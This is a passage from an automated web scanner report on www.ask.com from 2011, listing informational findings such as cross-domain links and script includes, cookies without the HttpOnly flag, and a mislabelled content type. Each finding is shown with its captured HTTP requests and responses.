<a href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" onmousedown="return ct(this,5015)" class="txt2 info l_nu" target="_top">
Careers</a>
...[SNIP]...

<a href="http://asksupport.custhelp.com/app/answers/list" onmousedown="return ct(this,54387)" class="txt2 info l_nu" target="_blank">
Help</a>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" />
</noscript>
...[SNIP]...
</script>

<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
...[SNIP]...

7.8. http://www.ask.com/pictureslanding previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/pictureslanding?o=0&l=dir

The response contains the following links to other domains:

http://66.235.120.67/e?t=134778139101773407
http://66.235.120.67/e?t=13926407979329723328
http://66.235.120.67/e?t=17074163800304751245
http://66.235.120.67/e?t=4934756863126158196
http://66.235.120.67/e?t=7053435246216489458
http://66.235.120.67/e?t=8811184322805729450
http://api.recaptcha.net/js/recaptcha_ajax.js
http://ask.pronto.com/user/search.do?&q=
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.askkids.com/?o=0&l=dir

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:02 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 59137

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...
<li><a href="http://ask.pronto.com/user/search.do?&q="
class="txt3 b" style="">Shopping</a>
...[SNIP]...
<li>
<a href="http://www.askkids.com?o=0&l=dir"
class="txt3 b" style="">Kids</a>
...[SNIP]...
<div id="di0"><img id="image0" src="http://66.235.120.67:80/e?t=4934756863126158196" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
<div id="di1"><img id="image1" src="http://66.235.120.67:80/e?t=8811184322805729450" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
<div id="di2"><img id="image2" src="http://66.235.120.67:80/e?t=17074163800304751245" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
<div id="di3"><img id="image3" src="http://66.235.120.67:80/e?t=13926407979329723328" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
<div id="di4"><img id="image4" src="http://66.235.120.67:80/e?t=134778139101773407" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
<div id="di5"><img id="image5" src="http://66.235.120.67:80/e?t=7053435246216489458" border="0" hspace="0" vspace="0"
width="128"
height="128"/></div>
...[SNIP]...
</script>
<script language="javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<a href="http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh" onmousedown="return ct(this,5015)" class="txt2 info l_nu" target="_top">
Careers</a>
...[SNIP]...

<a href="http://asksupport.custhelp.com/app/answers/list" onmousedown="return ct(this,54387)" class="txt2 info l_nu" target="_blank">
Help</a>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1" />
</noscript>
...[SNIP]...
</script>

<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
...[SNIP]...

8. Cross-domain script include previous next
There are 4 instances of this issue:

/
/answers/7153311/is-nail-polish-bad-for-your-nails
/pictures
/pictureslanding

8.1. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://api.recaptcha.net/js/recaptcha_ajax.js

Request

Response

8.2. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The response dynamically includes the following script from another domain:

http://api.recaptcha.net/js/recaptcha_ajax.js

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

8.3. http://www.ask.com/pictures previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The response dynamically includes the following script from another domain:

http://api.recaptcha.net/js/recaptcha_ajax.js

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

8.4. http://www.ask.com/pictureslanding previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

9. Cookie without HttpOnly flag set previous next
There are 5 instances of this issue:

/
/answers/7153311/is-nail-polish-bad-for-your-nails
/ja-ask-dialog
/pictures
/pictureslanding

9.1. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

user=o=0&l=dir; Domain=.ask.com; Path=/
puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

9.2. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA5OjUyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

9.3. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:29 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

9.4. http://www.ask.com/pictures previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

9.5. http://www.ask.com/pictureslanding previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

10. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.ask.com
Path:	/ja-local-zoom

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html;charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /ja-local-zoom HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUwLVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:09:41 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 82

{"locationList":[{"city":"Irving","state":"TX"},{"city":"Mesquite","state":"TX"}]}

Report generated by XSS.CX at Thu Mar 24 12:49:16 CDT 2011.